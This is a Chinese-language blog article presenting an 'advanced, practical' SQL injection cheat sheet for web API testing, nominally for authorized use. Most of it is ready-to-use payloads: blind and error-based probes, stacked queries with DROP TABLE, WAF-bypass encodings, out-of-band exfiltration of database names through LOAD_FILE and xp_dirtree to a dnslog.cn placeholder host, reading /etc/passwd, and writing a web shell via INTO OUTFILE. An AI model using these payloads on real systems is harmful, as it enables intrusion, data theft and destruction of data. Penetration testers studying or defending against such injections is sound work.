当前位置: 首页 > news >正文

实战级SQL注入测试技巧揭秘

目录

一、高阶注入判断技巧(不爆数据,只测漏洞)

1. 布尔盲注(Boolean-based)

2. 时间盲注(Time-based)

3. 报错注入(Error-based)

二、高阶利用手法(实战渗透常用)

1. 堆叠查询(Stacked Queries)

2. 宽字节注入(绕过转义)

3. 绕过 WAF / 过滤 的高级写法

大小写变形

注释穿插

字符串编码

等价函数替换

空格绕过

4. 二阶注入(Second-Order SQLi)

5. 外带数据(DNSLOG / HTTP 外带)

6. 读写文件

三、针对不同数据库的专属高级注入

MySQL

SQL Server

PostgreSQL

Oracle

四、接口测试中最实用的高阶组合流程


下面给你整理一套更高级、实战化、但依然合规(仅用于授权自检)的 SQL 注入测试思路,适合接口渗透、黑盒测试场景。我会尽量讲得实用、可直接上手,不搞花里胡哨的理论。


一、高阶注入判断技巧(不爆数据,只测漏洞)

1. 布尔盲注(Boolean-based)

适用于:不返回报错、不返回数据,但页面内容会变

测试思路:

id=1' AND 1=1-- - 页面正常 id=1' AND 1=2-- - 页面异常/无数据

两次结果不一样 →存在布尔盲注

进阶 payload:

' AND (SELECT 1 FROM DUAL WHERE 1=1)-- ' AND (LENGTH(DATABASE())>5)--

2. 时间盲注(Time-based)

适用于:页面完全没变化,连布尔差异都没有

核心:让数据库 sleep,看接口延迟。

' AND SLEEP(5)-- ' AND IF(1=1,SLEEP(5),0)-- ' AND BENCHMARK(1000000,MD5(1))-- ' AND PG_SLEEP(5)-- (PostgreSQL) ' AND WAITFOR DELAY '0:0:5'-- (SQL Server)

如果接口明显延迟 5 秒→ 100% 存在注入。

3. 报错注入(Error-based)

不查数据,只通过强制报错判断注入点。常用:

' AND UPDATEXML(1,CONCAT(0x7e,(SELECT 1)),1)-- ' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT 1)))-- ' AND FLOOR(RAND(0)*2)-- (group by 报错)

只要返回 XPath 语法错误等 → 存在注入。


二、高阶利用手法(实战渗透常用)

1. 堆叠查询(Stacked Queries)

支持多语句执行时:

'; SELECT * FROM user;-- '; DROP TABLE test;-- (严禁非法使用)

常见于SQL Server / PostgreSQL

2. 宽字节注入(绕过转义)

针对 PHP + MySQL 宽字符集(GBK):

%df' OR 1=1--

原理:%df\'被解析成運',单引号逃逸成功。

3. 绕过 WAF / 过滤 的高级写法

很多接口有防护,普通 payload 会被拦,可以用这些变形:

大小写变形

' Or 1=1-- ' oR 1=1--

注释穿插

' UN/**/ION SEL/**/ECT--

字符串编码

' UNION SELECT CHAR(97,100,109,105,110)--

等价函数替换

AND 1=1 → AND 2-1=1 → AND 3>2 → AND MID(VERSION(),1,1)=5

空格绕过

%09、%0a、%0b、%0d、%a0、//、--++

例:

'UNION%0aSELECT%0a1,2,3--

4. 二阶注入(Second-Order SQLi)

高级玩法,存储型注入

  1. 注册用户名:admin'
  2. 后台查询时直接拼接
  3. 触发点在另一个接口

这类漏洞非常隐蔽,普通扫描扫不出来。

5. 外带数据(DNSLOG / HTTP 外带)

MySQL 高权限可读取数据外带:

' AND LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.xxx.dnslog.cn\\test'))--

适用于:完全盲注、无法回显的场景。

SQL Server:

'; EXEC master..xp_dirtree '\\xxx.dnslog.cn\test';--

6. 读写文件

MySQL 权限足够时:

' UNION SELECT LOAD_FILE('/etc/passwd')-- ' INTO OUTFILE '/var/www/html/shell.php'--

三、针对不同数据库的专属高级注入

MySQL

  • 报错注入:UPDATEXMLEXTRACTVALUE
  • 时间盲注:SLEEP()
  • 读文件:LOAD_FILE

SQL Server

  • 堆叠查询
  • WAITFOR DELAY
  • xp_cmdshell命令执行
  • 报错:FORMATMESSAGE

PostgreSQL

  • PG_SLEEP(5)
  • 复制文件:COPY
  • 任意语句执行

Oracle

  • 报错:CTX_REPORT
  • 盲注:DBMS_LOCK.SLEEP
  • 联合查询限制多,需要绕ROWNUM

四、接口测试中最实用的高阶组合流程

你做接口测试可以按这个顺序:

  1. 加单引号'看是否报错
  2. 布尔测试AND 1=1 / 1=2
  3. 时间测试SLEEP(5)
  4. 报错注入看能否触发
  5. 尝试 WAF 绕过
  6. 尝试二阶注入点
http://www.jsqmd.com/news/539610/

相关文章:

  • 京东e卡回收哪家好?亲测两家平台真实对比,结果出乎意料 - 京回收小程序
  • 喵飞AI沙龙回顾|南开区本土AI赋能!OPC+OPEN CLAW本地部署圆满落幕
  • Cuvil编译器如何绕过CPython GIL实现真正的并行推理?——某自动驾驶公司实时感知模块迁移全记录(含perf火焰图对比)
  • Proxmox VE虚拟化实战:如何给MikroTik RouterOS配置PCI直通网卡(ROS 6.44.2实测)
  • # Trae IDE `settings.json` 配置详解与教学文档
  • 家里装了 OpenClaw,在公司也能随时管理——Shield CLI 远程访问方案
  • MinerU的正确使用方式:如何解析PDF成标准化向量数据,以供AI大模型等场景应用
  • YOLOv8-Pose部署避坑指南:从PyTorch模型到Windows端高效推理的完整流程
  • 学习代码过程中的一些有趣发现--学习代码的时间复杂度
  • SAR成像RD算法仿真:为什么你的点目标旁瓣降不下去?从原理到Matlab代码的深度调优
  • KV Server
  • 从零到一:在本地CentOS环境完整部署yshop-drink扫码点餐系统的实战指南
  • 告别Mac!在Windows电脑上用HBuilder X和Appuploader搞定iOS测试包(附7天免费证书申请)
  • 2026告别机考不适应:界面最还原雅思机考网站帮你熟悉考场 - 品牌2026
  • 201_深度学习的数学底座:PyTorch 线性代数与范数实战
  • 3大核心价值:Botty智能图像识别技术如何重塑暗黑破坏神2刷宝体验
  • League Akari:英雄联盟玩家的智能效率助手,提升90%游戏体验
  • 2026年进口渗透压仪哪个牌子好用?深度解析知名品牌与口碑推荐 - 品牌推荐大师
  • 分子动力学避坑指南:为什么你的NPT模拟总爆箱?详解GROMACS压力耦合中的compressibility陷阱
  • NCMDump解密工具:3步解锁网易云音乐加密文件,实现跨平台自由播放
  • 基于vue+springboot框架的流浪动物救助系统的设计与实现--论文
  • League Akari:英雄联盟玩家的智能效率工具集,从自动秒选到战绩分析的全能助手
  • 无线传感器网络仿真实战:用Cooja模拟RPL和6LowPan网络(含udp-server/client配置详解)
  • OpenClaw配置文件详解:优化Qwen3.5-4B-Claude性能的7个参数
  • 气动卡盘厂家怎么看?来自常州倍得福的一线经验与思考 - 企师傅推荐官
  • WPS宏工具实战:5分钟搞定批量图片尺寸调整(JSA/VBA双版本代码)
  • AsyncUtil异步任务处理工具类
  • NaViL-9B图文问答教程:支持中英双语提问的跨语言理解能力实测
  • League-Toolkit故障排除指南:从启动失败到高效修复的完整方案
  • 3个核心突破:智能调度架构实现抖音内容高效采集